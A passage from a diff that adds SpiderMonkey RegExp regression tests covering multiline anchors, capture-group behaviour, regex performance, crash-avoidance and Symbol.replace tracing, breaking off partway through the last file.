+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 06 February 2001
+ *
+ * SUMMARY: Arose from Bugzilla bug 78156:
+ * "m flag of regular expression does not work with $"
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=78156
+ *
+ * The m flag means a regular expression should search strings
+ * across multiple lines, i.e. across '\n', '\r'.
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 78156;
+var summary = 'Testing regular expressions with ^, $, and the m flag -';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+/*
+ * All patterns have an m flag; all strings are multiline.
+ * Looking for digit characters at beginning/end of lines.
+ */
+
+string = 'aaa\n789\r\nccc\r\n345';
+status = inSection(1);
+pattern = /^\d/gm;
+actualmatch = string.match(pattern);
+expectedmatch = ['7','3'];
+addThis();
+
+status = inSection(2);
+pattern = /\d$/gm;
+actualmatch = string.match(pattern);
+expectedmatch = ['9','5'];
+addThis();
+
+string = 'aaa\n789\r\nccc\r\nddd';
+status = inSection(3);
+pattern = /^\d/gm;
+actualmatch = string.match(pattern);
+expectedmatch = ['7'];
+addThis();
+
+status = inSection(4);
+pattern = /\d$/gm;
+actualmatch = string.match(pattern);
+expectedmatch = ['9'];
+addThis();
+
+
+
+//-------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+}
diff --git a/js/src/tests/non262/RegExp/regress-85721.js b/js/src/tests/non262/RegExp/regress-85721.js
new file mode 100644
index 0000000000..e04ae97f35
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-85721.js
@@ -0,0 +1,243 @@
+// |reftest| random -- bogus perf test (bug 467263)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 14 Feb 2002
+ * SUMMARY: Performance: Regexp performance degraded from 4.7
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=85721
+ *
+ * Adjust this testcase if necessary. The FAST constant defines
+ * an upper bound in milliseconds for any execution to take.
+ *
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 85721;
+var summary = 'Performance: execution of regular expression';
+var FAST = 100; // execution should be 100 ms or less to pass the test
+var MSG_FAST = 'Execution took less than ' + FAST + ' ms';
+var MSG_SLOW = 'Execution took ';
+var MSG_MS = ' ms';
+var str = '';
+var re = '';
+var status = '';
+var actual = '';
+var expect= '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+function elapsedTime(startTime)
+{
+ return new Date() - startTime;
+}
+
+
+function isThisFast(ms)
+{
+ if (ms <= FAST)
+ return MSG_FAST;
+ return MSG_SLOW + ms + MSG_MS;
+}
+
+
+
+/*
+ * The first regexp. We'll test for performance (Section 1) and accuracy (Section 2).
+ */
+str='<sql:connection id="conn1"> <sql:url>www.m.com</sql:url> <sql:driver>drive.class</sql:driver>\n<sql:userId>foo</sql:userId> <sql:password>goo</sql:password> </sql:connection>';
+re = /<sql:connection id="([^\r\n]*?)">\s*<sql:url>\s*([^\r\n]*?)\s*<\/sql:url>\s*<sql:driver>\s*([^\r\n]*?)\s*<\/sql:driver>\s*(\s*<sql:userId>\s*([^\r\n]*?)\s*<\/sql:userId>\s*)?\s*(\s*<sql:password>\s*([^\r\n]*?)\s*<\/sql:password>\s*)?\s*<\/sql:connection>/;
+expect = Array("<sql:connection id=\"conn1\"> <sql:url>www.m.com</sql:url> <sql:driver>drive.class</sql:driver>\n<sql:userId>foo</sql:userId> <sql:password>goo</sql:password> </sql:connection>","conn1","www.m.com","drive.class","<sql:userId>foo</sql:userId> ","foo","<sql:password>goo</sql:password> ","goo");
+
+/*
+ * Check performance -
+ */
+status = inSection(1);
+var start = new Date();
+var result = re.exec(str);
+actual = elapsedTime(start);
+reportCompare(isThisFast(FAST), isThisFast(actual), status);
+
+/*
+ * Check accuracy -
+ */
+status = inSection(2);
+testRegExp([status], [re], [str], [result], [expect]);
+
+
+
+/*
+ * The second regexp (HUGE!). We'll test for performance (Section 3) and accuracy (Section 4).
+ * It comes from the O'Reilly book "Mastering Regular Expressions" by Jeffrey Friedl, Appendix B
+ */
+
+//# Some things for avoiding backslashitis later on.
+$esc = '\\\\';
+$Period = '\.';
+$space = '\040'; $tab = '\t';
+$OpenBR = '\\['; $CloseBR = '\\]';
+$OpenParen = '\\('; $CloseParen = '\\)';
+$NonASCII = '\x80-\xff'; $ctrl = '\000-\037';
+$CRlist = '\n\015'; //# note: this should really be only \015.
+// Items 19, 20, 21
+$qtext = '[^' + $esc + $NonASCII + $CRlist + '\"]'; // # for within "..."
+$dtext = '[^' + $esc + $NonASCII + $CRlist + $OpenBR + $CloseBR + ']'; // # for within [...]
+$quoted_pair = $esc + '[^' + $NonASCII + ']'; // # an escaped character
+
+//##############################################################################
+//# Items 22 and 23, comment.
+//# Impossible to do properly with a regex, I make do by allowing at most one level of nesting.
+$ctext = '[^' + $esc + $NonASCII + $CRlist + '()]';
+
+//# $Cnested matches one non-nested comment.
+//# It is unrolled, with normal of $ctext, special of $quoted_pair.
+$Cnested =
+ $OpenParen + // # (
+ $ctext + '*' + // # normal*
+ '(?:' + $quoted_pair + $ctext + '*)*' + // # (special normal*)*
+ $CloseParen; // # )
+
+
+//# $comment allows one level of nested parentheses
+//# It is unrolled, with normal of $ctext, special of ($quoted_pair|$Cnested)
+$comment =
+ $OpenParen + // # (
+ $ctext + '*' + // # normal*
+ '(?:' + // # (
+ '(?:' + $quoted_pair + '|' + $Cnested + ')' + // # special
+ $ctext + '*' + // # normal*
+ ')*' + // # )*
+ $CloseParen; // # )
+
+
+//##############################################################################
+//# $X is optional whitespace/comments.
+$X =
+ '[' + $space + $tab + ']*' + // # Nab whitespace.
+ '(?:' + $comment + '[' + $space + $tab + ']*)*'; // # If comment found, allow more spaces.
+
+
+//# Item 10: atom
+$atom_char = '[^(' + $space + '<>\@,;:\".' + $esc + $OpenBR + $CloseBR + $ctrl + $NonASCII + ']';
+$atom =
+ $atom_char + '+' + // # some number of atom characters...
+ '(?!' + $atom_char + ')'; // # ..not followed by something that could be part of an atom
+
+// # Item 11: doublequoted string, unrolled.
+$quoted_str =
+ '\"' + // # "
+ $qtext + '*' + // # normal
+ '(?:' + $quoted_pair + $qtext + '*)*' + // # ( special normal* )*
+ '\"'; // # "
+
+//# Item 7: word is an atom or quoted string
+$word =
+ '(?:' +
+ $atom + // # Atom
+ '|' + // # or
+ $quoted_str + // # Quoted string
+ ')'
+
+//# Item 12: domain-ref is just an atom
+ $domain_ref = $atom;
+
+//# Item 13: domain-literal is like a quoted string, but [...] instead of "..."
+$domain_lit =
+ $OpenBR + // # [
+ '(?:' + $dtext + '|' + $quoted_pair + ')*' + // # stuff
+ $CloseBR; // # ]
+
+// # Item 9: sub-domain is a domain-ref or domain-literal
+$sub_domain =
+ '(?:' +
+ $domain_ref +
+ '|' +
+ $domain_lit +
+ ')' +
+ $X; // # optional trailing comments
+
+// # Item 6: domain is a list of subdomains separated by dots.
+$domain =
+ $sub_domain +
+ '(?:' +
+ $Period + $X + $sub_domain +
+ ')*';
+
+//# Item 8: a route. A bunch of "@ $domain" separated by commas, followed by a colon.
+$route =
+ '\@' + $X + $domain +
+ '(?:,' + $X + '\@' + $X + $domain + ')*' + // # additional domains
+ ':' +
+ $X; // # optional trailing comments
+
+//# Item 6: local-part is a bunch of $word separated by periods
+$local_part =
+ $word + $X
+ '(?:' +
+ $Period + $X + $word + $X + // # additional words
+ ')*';
+
+// # Item 2: addr-spec is local@domain
+$addr_spec =
+ $local_part + '\@' + $X + $domain;
+
+//# Item 4: route-addr is <route? addr-spec>
+$route_addr =
+ '<' + $X + // # <
+ '(?:' + $route + ')?' + // # optional route
+ $addr_spec + // # address spec
+ '>'; // # >
+
+//# Item 3: phrase........
+$phrase_ctrl = '\000-\010\012-\037'; // # like ctrl, but without tab
+
+//# Like atom-char, but without listing space, and uses phrase_ctrl.
+//# Since the class is negated, this matches the same as atom-char plus space and tab
+$phrase_char =
+ '[^()<>\@,;:\".' + $esc + $OpenBR + $CloseBR + $NonASCII + $phrase_ctrl + ']';
+
+// # We've worked it so that $word, $comment, and $quoted_str to not consume trailing $X
+// # because we take care of it manually.
+$phrase =
+ $word + // # leading word
+ $phrase_char + '*' + // # "normal" atoms and/or spaces
+ '(?:' +
+ '(?:' + $comment + '|' + $quoted_str + ')' + // # "special" comment or quoted string
+ $phrase_char + '*' + // # more "normal"
+ ')*';
+
+// ## Item #1: mailbox is an addr_spec or a phrase/route_addr
+$mailbox =
+ $X + // # optional leading comment
+ '(?:' +
+ $phrase + $route_addr + // # name and address
+ '|' + // # or
+ $addr_spec + // # address
+ ')';
+
+
+//###########################################################################
+
+
+re = new RegExp($mailbox, "g");
+str = 'Jeffy<"That Tall Guy"@ora.com (this address is no longer active)>';
+expect = Array('Jeffy<"That Tall Guy"@ora.com (this address is no longer active)>');
+
+/*
+ * Check performance -
+ */
+status = inSection(3);
+var start = new Date();
+var result = re.exec(str);
+actual = elapsedTime(start);
+reportCompare(isThisFast(FAST), isThisFast(actual), status);
+
+/*
+ * Check accuracy -
+ */
+status = inSection(4);
+testRegExp([status], [re], [str], [result], [expect]);
diff --git a/js/src/tests/non262/RegExp/regress-87231.js b/js/src/tests/non262/RegExp/regress-87231.js
new file mode 100644
index 0000000000..9d5adaedeb
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-87231.js
@@ -0,0 +1,109 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 22 June 2001
+ *
+ * SUMMARY: Regression test for Bugzilla bug 87231:
+ * "Regular expression /(A)?(A.*)/ picks 'A' twice"
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=87231
+ * Key case:
+ *
+ * pattern = /^(A)?(A.*)$/;
+ * string = 'A';
+ * expectedmatch = Array('A', '', 'A');
+ *
+ *
+ * We expect the 1st subexpression (A)? NOT to consume the single 'A'.
+ * Recall that "?" means "match 0 or 1 times". Here, it should NOT do
+ * greedy matching: it should match 0 times instead of 1. This allows
+ * the 2nd subexpression to make the only match it can: the single 'A'.
+ * Such "altruism" is the only way there can be a successful global match...
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 87231;
+var cnEmptyString = '';
+var summary = 'Testing regular expression /(A)?(A.*)/';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+
+pattern = /^(A)?(A.*)$/;
+status = inSection(1);
+string = 'AAA';
+actualmatch = string.match(pattern);
+expectedmatch = Array('AAA', 'A', 'AA');
+addThis();
+
+status = inSection(2);
+string = 'AA';
+actualmatch = string.match(pattern);
+expectedmatch = Array('AA', 'A', 'A');
+addThis();
+
+status = inSection(3);
+string = 'A';
+actualmatch = string.match(pattern);
+expectedmatch = Array('A', undefined, 'A'); // 'altruistic' case: see above
+addThis();
+
+
+pattern = /(A)?(A.*)/;
+var strL = 'zxcasd;fl\\\ ^';
+var strR = 'aaAAaaaf;lrlrzs';
+
+status = inSection(4);
+string = strL + 'AAA' + strR;
+actualmatch = string.match(pattern);
+expectedmatch = Array('AAA' + strR, 'A', 'AA' + strR);
+addThis();
+
+status = inSection(5);
+string = strL + 'AA' + strR;
+actualmatch = string.match(pattern);
+expectedmatch = Array('AA' + strR, 'A', 'A' + strR);
+addThis();
+
+status = inSection(6);
+string = strL + 'A' + strR;
+actualmatch = string.match(pattern);
+expectedmatch = Array('A' + strR, undefined, 'A' + strR); // 'altruistic' case: see above
+addThis();
+
+
+
+//-------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+}
diff --git a/js/src/tests/non262/RegExp/regress-9141.js b/js/src/tests/non262/RegExp/regress-9141.js
new file mode 100644
index 0000000000..b95e40aaa1
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-9141.js
@@ -0,0 +1,71 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+
+/**
+ * File Name: regress-9141.js
+ * Reference: "http://bugzilla.mozilla.org/show_bug.cgi?id=9141";
+ * Description:
+ * From waldemar@netscape.com:
+ *
+ * The following page crashes the system:
+ *
+ * <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"
+ * "http://www.w3.org/TR/REC-html40/loose.dtd">
+ * <HTML>
+ * <HEAD>
+ * </HEAD>
+ * <BODY>
+ * <SCRIPT type="text/javascript">
+ * var s = "x";
+ * for (var i = 0; i != 13; i++) s += s;
+ * var a = /(?:xx|x)*[slash](s);
+ * var b = /(xx|x)*[slash](s);
+ * document.write("Results = " + a.length + "," + b.length);
+ * </SCRIPT>
+ * </BODY>
+ */
+
+var SECTION = "js1_2"; // provide a document reference (ie, ECMA section)
+var TITLE = "Regression test for bugzilla # 9141"; // Provide ECMA section title or a description
+var BUGNUMBER = "http://bugzilla.mozilla.org/show_bug.cgi?id=9141"; // Provide URL to bugsplat or bugzilla report
+
+printBugNumber(BUGNUMBER);
+
+/*
+ * Calls to AddTestCase here. AddTestCase is a function that is defined
+ * in shell.js and takes three arguments:
+ * - a string representation of what is being tested
+ * - the expected result
+ * - the actual result
+ *
+ * For example, a test might look like this:
+ *
+ * var zip = /[\d]{5}$/;
+ *
+ * AddTestCase(
+ * "zip = /[\d]{5}$/; \"PO Box 12345 Boston, MA 02134\".match(zip)", // description of the test
+ * "02134", // expected result
+ * "PO Box 12345 Boston, MA 02134".match(zip) ); // actual result
+ *
+ */
+
+var s = "x";
+for (var i = 0; i != 13; i++) s += s;
+var a = /(?:xx|x)*/.exec(s);
+var b = /(xx|x)*/.exec(s);
+
+AddTestCase( "var s = 'x'; for (var i = 0; i != 13; i++) s += s; " +
+ "a = /(?:xx|x)*/.exec(s); a.length",
+ 1,
+ a.length );
+
+AddTestCase( "var b = /(xx|x)*/.exec(s); b.length",
+ 2,
+ b.length );
+
+test(); // leave this alone. this executes the test cases and
+// displays results.
diff --git a/js/src/tests/non262/RegExp/regress-98306.js b/js/src/tests/non262/RegExp/regress-98306.js
new file mode 100644
index 0000000000..261f0de316
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-98306.js
@@ -0,0 +1,63 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 04 September 2001
+ *
+ * SUMMARY: Regression test for Bugzilla bug 98306
+ * "JS parser crashes in ParseAtom for script using Regexp()"
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=98306
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 98306;
+var summary = "Testing that we don't crash on this code -";
+var cnUBOUND = 10;
+var re;
+var s;
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ s = '"Hello".match(/[/]/)';
+ tryThis(s);
+
+ s = 're = /[/';
+ tryThis(s);
+
+ s = 're = /[/]/';
+ tryThis(s);
+
+ s = 're = /[//]/';
+ tryThis(s);
+
+ reportCompare('No Crash', 'No Crash', '');
+}
+
+
+// Try to provoke a crash -
+function tryThis(sCode)
+{
+ // sometimes more than one attempt is necessary -
+ for (var i=0; i<cnUBOUND; i++)
+ {
+ try
+ {
+ eval(sCode);
+ }
+ catch(e)
+ {
+ // do nothing; keep going -
+ }
+ }
+}
diff --git a/js/src/tests/non262/RegExp/regress-yarr-regexp.js b/js/src/tests/non262/RegExp/regress-yarr-regexp.js
new file mode 100644
index 0000000000..58cea3f4f0
--- /dev/null
+++ b/js/src/tests/non262/RegExp/regress-yarr-regexp.js
@@ -0,0 +1,18 @@
+var gcgcz = /((?:.)+)((?:.)*)/; /* Greedy capture, greedy capture zero. */
+assertEqArray(["a", "a", ""], gcgcz.exec("a"));
+assertEqArray(["ab", "ab", ""], gcgcz.exec("ab"));
+assertEqArray(["abc", "abc", ""], gcgcz.exec("abc"));
+
+assertEqArray(["a", ""], /((?:)*?)a/.exec("a"));
+assertEqArray(["a", ""], /((?:.)*?)a/.exec("a"));
+assertEqArray(["a", ""], /a((?:.)*)/.exec("a"));
+
+assertEqArray(["B", "B"], /([A-Z])/.exec("fooBar"));
+
+// These just mustn't crash. See bug 872971
+try { reportCompare(/x{2147483648}x/.test('1'), false); } catch (e) {}
+try { reportCompare(/x{2147483648,}x/.test('1'), false); } catch (e) {}
+try { reportCompare(/x{2147483647,2147483648}x/.test('1'), false); } catch (e) {}
+// Same for these. See bug 813366
+try { reportCompare("".match(/.{2147483647}11/), null); } catch (e) {}
+try { reportCompare("".match(/(?:(?=g)).{2147483648,}/ + ""), null); } catch (e) {}
diff --git a/js/src/tests/non262/RegExp/replace-compile-elembase.js b/js/src/tests/non262/RegExp/replace-compile-elembase.js
new file mode 100644
index 0000000000..591d27cfe9
--- /dev/null
+++ b/js/src/tests/non262/RegExp/replace-compile-elembase.js
@@ -0,0 +1,22 @@
+(function() {
+ var rx = /a/g;
+ var b = {
+ get a() {
+ rx.compile("b");
+ return "A";
+ }
+ };
+
+ // Replacer function which is applicable for the elem-base optimization in
+ // RegExp.prototype.@@replace.
+ function replacer(a) {
+ return b[a];
+ }
+
+ var result = rx[Symbol.replace]("aaa", replacer);
+
+ assertEq(result, "AAA");
+})();
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/replace-compile.js b/js/src/tests/non262/RegExp/replace-compile.js
new file mode 100644
index 0000000000..45359037af
--- /dev/null
+++ b/js/src/tests/non262/RegExp/replace-compile.js
@@ -0,0 +1,21 @@
+var BUGNUMBER = 1287524;
+var summary = 'RegExp.prototype[@@replace] should call replacer function after collecting all matches.';
+
+print(BUGNUMBER + ": " + summary);
+
+var rx = RegExp("a", "g");
+var r = rx[Symbol.replace]("abba", function() {
+ rx.compile("b", "g");
+ return "?";
+});
+assertEq(r, "?bb?");
+
+rx = RegExp("a", "g");
+r = "abba".replace(rx, function() {
+ rx.compile("b", "g");
+ return "?";
+});
+assertEq(r, "?bb?");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/replace-global-unicode.js b/js/src/tests/non262/RegExp/replace-global-unicode.js
new file mode 100644
index 0000000000..80b3ea1996
--- /dev/null
+++ b/js/src/tests/non262/RegExp/replace-global-unicode.js
@@ -0,0 +1,18 @@
+var BUGNUMBER = 1287524;
+var summary = 'RegExp.prototype[@@replace] should not use optimized path if RegExp.prototype.unicode is modified.';
+
+print(BUGNUMBER + ": " + summary);
+
+Object.defineProperty(RegExp.prototype, "unicode", {
+ get() {
+ RegExp.prototype.exec = () => null;
+ }
+});
+
+var rx = RegExp("a", "g");
+var s = "abba";
+var r = rx[Symbol.replace](s, "c");
+assertEq(r, "abba");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/replace-local-tolength-lastindex.js b/js/src/tests/non262/RegExp/replace-local-tolength-lastindex.js
new file mode 100644
index 0000000000..7ba840e000
--- /dev/null
+++ b/js/src/tests/non262/RegExp/replace-local-tolength-lastindex.js
@@ -0,0 +1,22 @@
+// RegExp.prototype[@@replace] always executes ToLength(regExp.lastIndex) for
+// non-global RegExps.
+
+for (var flag of ["", "g", "y", "gy"]) {
+ var regExp = new RegExp("a", flag);
+
+ var called = false;
+ regExp.lastIndex = {
+ valueOf() {
+ assertEq(called, false);
+ called = true;
+ return 0;
+ }
+ };
+
+ assertEq(called, false);
+ regExp[Symbol.replace]("");
+ assertEq(called, !flag.includes("g"));
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/replace-local-tolength-recompilation.js b/js/src/tests/non262/RegExp/replace-local-tolength-recompilation.js
new file mode 100644
index 0000000000..e03177286f
--- /dev/null
+++ b/js/src/tests/non262/RegExp/replace-local-tolength-recompilation.js
@@ -0,0 +1,75 @@
+// Side-effects when calling ToLength(regExp.lastIndex) in
+// RegExp.prototype[@@replace] for non-global RegExp can recompile the RegExp.
+
+for (var flag of ["", "y"]) {
+ var regExp = new RegExp("a", flag);
+
+ regExp.lastIndex = {
+ valueOf() {
+ regExp.compile("b");
+ return 0;
+ }
+ };
+
+ var result = regExp[Symbol.replace]("b", "pass");
+ assertEq(result, "pass");
+}
+
+// Recompilation modifies flag:
+// Case 1: Adds global flag, validate by checking lastIndex.
+var regExp = new RegExp("a", "");
+regExp.lastIndex = {
+ valueOf() {
+ // |regExp| is now in global mode, RegExpBuiltinExec should update the
+ // lastIndex property to reflect last match.
+ regExp.compile("a", "g");
+ return 0;
+ }
+};
+regExp[Symbol.replace]("a", "");
+assertEq(regExp.lastIndex, 1);
+
+// Case 2: Removes sticky flag with match, validate by checking lastIndex.
+var regExp = new RegExp("a", "y");
+regExp.lastIndex = {
+ valueOf() {
+ // |regExp| is no longer sticky, RegExpBuiltinExec shouldn't modify the
+ // lastIndex property.
+ regExp.compile("a", "");
+ regExp.lastIndex = 9000;
+ return 0;
+ }
+};
+regExp[Symbol.replace]("a", "");
+assertEq(regExp.lastIndex, 9000);
+
+// Case 3.a: Removes sticky flag without match, validate by checking lastIndex.
+var regExp = new RegExp("a", "y");
+regExp.lastIndex = {
+ valueOf() {
+ // |regExp| is no longer sticky, RegExpBuiltinExec shouldn't modify the
+ // lastIndex property.
+ regExp.compile("b", "");
+ regExp.lastIndex = 9001;
+ return 0;
+ }
+};
+regExp[Symbol.replace]("a", "");
+assertEq(regExp.lastIndex, 9001);
+
+// Case 3.b: Removes sticky flag without match, validate by checking lastIndex.
+var regExp = new RegExp("a", "y");
+regExp.lastIndex = {
+ valueOf() {
+ // |regExp| is no longer sticky, RegExpBuiltinExec shouldn't modify the
+ // lastIndex property.
+ regExp.compile("b", "");
+ regExp.lastIndex = 9002;
+ return 10000;
+ }
+};
+regExp[Symbol.replace]("a", "");
+assertEq(regExp.lastIndex, 9002);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/replace-sticky-lastIndex.js b/js/src/tests/non262/RegExp/replace-sticky-lastIndex.js
new file mode 100644
index 0000000000..2500b2c42d
--- /dev/null
+++ b/js/src/tests/non262/RegExp/replace-sticky-lastIndex.js
@@ -0,0 +1,23 @@
+var BUGNUMBER = 887016;
+var summary = "String.prototype.replace should do nothing if lastIndex is invalid for sticky RegExp";
+
+print(BUGNUMBER + ": " + summary);
+
+var re = /a/y;
+re.lastIndex = -1;
+assertEq("a".replace(re, "b"), "b");
+re.lastIndex = 0;
+assertEq("a".replace(re, "b"), "b");
+re.lastIndex = 1;
+assertEq("a".replace(re, "b"), "a");
+re.lastIndex = 2;
+assertEq("a".replace(re, "b"), "a");
+re.lastIndex = "foo";
+assertEq("a".replace(re, "b"), "b");
+re.lastIndex = "1";
+assertEq("a".replace(re, "b"), "a");
+re.lastIndex = {};
+assertEq("a".replace(re, "b"), "b");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/replace-sticky.js b/js/src/tests/non262/RegExp/replace-sticky.js
new file mode 100644
index 0000000000..32a6e2aee0
--- /dev/null
+++ b/js/src/tests/non262/RegExp/replace-sticky.js
@@ -0,0 +1,21 @@
+var BUGNUMBER = 887016;
+var summary = "String.prototype.replace should use and update lastIndex if sticky flag is set";
+
+print(BUGNUMBER + ": " + summary);
+
+var input = "abcdeabcdeabcdefghij";
+var re = new RegExp("abcde", "y");
+re.test(input);
+assertEq(re.lastIndex, 5);
+var ret = input.replace(re, "ABCDE");
+assertEq(ret, "abcdeABCDEabcdefghij");
+assertEq(re.lastIndex, 10);
+ret = input.replace(re, "ABCDE");
+assertEq(ret, "abcdeabcdeABCDEfghij");
+assertEq(re.lastIndex, 15);
+ret = input.replace(re, "ABCDE");
+assertEq(ret, "abcdeabcdeabcdefghij");
+assertEq(re.lastIndex, 0);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/replace-this.js b/js/src/tests/non262/RegExp/replace-this.js
new file mode 100644
index 0000000000..499304f9c0
--- /dev/null
+++ b/js/src/tests/non262/RegExp/replace-this.js
@@ -0,0 +1,12 @@
+var BUGNUMBER = 887016;
+var summary = "RegExp.prototype[@@replace] should check |this| value.";
+
+print(BUGNUMBER + ": " + summary);
+
+for (var v of [null, 1, true, undefined, "", Symbol.iterator]) {
+ assertThrowsInstanceOf(() => RegExp.prototype[Symbol.replace].call(v),
+ TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/replace-trace.js b/js/src/tests/non262/RegExp/replace-trace.js
new file mode 100644
index 0000000000..1093bc6850
--- /dev/null
+++ b/js/src/tests/non262/RegExp/replace-trace.js
@@ -0,0 +1,309 @@
+var BUGNUMBER = 887016;
+var summary = "Trace RegExp.prototype[@@replace] behavior.";
+
+print(BUGNUMBER + ": " + summary);
+
+var n;
+var log;
+var target;
+var global;
+var unicode;
+
+var execResult;
+var lastIndexResult;
+var lastIndexExpected;
+
+var arraySetterObserved = false;
+function startObserve() {
+ for (var i = 0; i < 10; i++) {
+ Object.defineProperty(Array.prototype, i, {
+ set: function(v) {
+ arraySetterObserved = true;
+ },
+ configurable: true,
+ });
+ }
+}
+function stopObserve() {
+ for (var i = 0; i < 10; i++)
+ delete Array.prototype[i]
+}
+
+startObserve();
+
+function P(A, index, matched2) {
+ var i = 0;
+ A.index = index;
+ return new Proxy(A, {
+ get(that, name) {
+ log += "get:result[" + name + "],";
+
+ // Return a different value for 2nd access to result[0].
+ if (matched2 !== undefined && name == 0) {
+ if (i == 1) {
+ return matched2;
+ }
+ i++;
+ }
+
+ return that[name];
+ }
+ });
+}
+
+var myRegExp = {
+ get global() {
+ log += "get:global,";
+ return global;
+ },
+ get lastIndex() {
+ log += "get:lastIndex,";
+ return lastIndexResult[n];
+ },
+ set lastIndex(v) {
+ log += "set:lastIndex,";
+ assertEq(v, lastIndexExpected[n]);
+ },
+ get unicode() {
+ log += "get:unicode,";
+ return unicode;
+ },
+ get exec() {
+ log += "get:exec,";
+ return function(S) {
+ log += "call:exec,";
+ assertEq(S, target);
+ return execResult[n++];
+ };
+ },
+};
+
+function reset() {
+ n = 0;
+ log = "";
+ target = "abcAbcABC";
+ global = true;
+ unicode = false;
+ arraySetterObserved = false;
+}
+
+// Trace global with non-empty match.
+reset();
+execResult = [ P(["bc"], 1), null ];
+lastIndexResult = [ , , ];
+lastIndexExpected = [ 0, , ];
+var ret = RegExp.prototype[Symbol.replace].call(myRegExp, target, "_XYZ_");
+assertEq(arraySetterObserved, false);
+assertEq(ret, "a_XYZ_AbcABC");
+assertEq(log,
+ "get:global," +
+ "get:unicode," +
+ "set:lastIndex," +
+ "get:exec,call:exec," +
+ "get:result[0]," +
+ "get:exec,call:exec," +
+ "get:result[length],get:result[0],get:result[index],get:result[groups],");
+
+// Trace global with empty match.
+reset();
+execResult = [ P([""], 1), null ];
+lastIndexResult = [ , 5, ];
+lastIndexExpected = [ 0, 6, ];
+ret = RegExp.prototype[Symbol.replace].call(myRegExp, target, "_XYZ_");
+assertEq(arraySetterObserved, false);
+assertEq(ret, "a_XYZ_bcAbcABC");
+assertEq(log,
+ "get:global," +
+ "get:unicode," +
+ "set:lastIndex," +
+ "get:exec,call:exec," +
+ "get:result[0]," +
+ "get:lastIndex,set:lastIndex," +
+ "get:exec,call:exec," +
+ "get:result[length],get:result[0],get:result[index],get:result[groups],");
+
+// Trace global and unicode with empty match.
+// 1. not surrogate pair
+// 2. lead surrogate pair
+// 3. trail surrogate pair
+// 4. lead surrogate pair without trail surrogate pair
+// 5. index overflow
+reset();
+unicode = true;
+// 0123 4 5678
+target = "---\uD83D\uDC38---\uD83D";
+execResult = [ P([""], 1), P([""], 2), P([""], 3), P([""], 4), P([""], 5), null ];
+lastIndexResult = [ , 2, 3, 4, 8, 9, ];
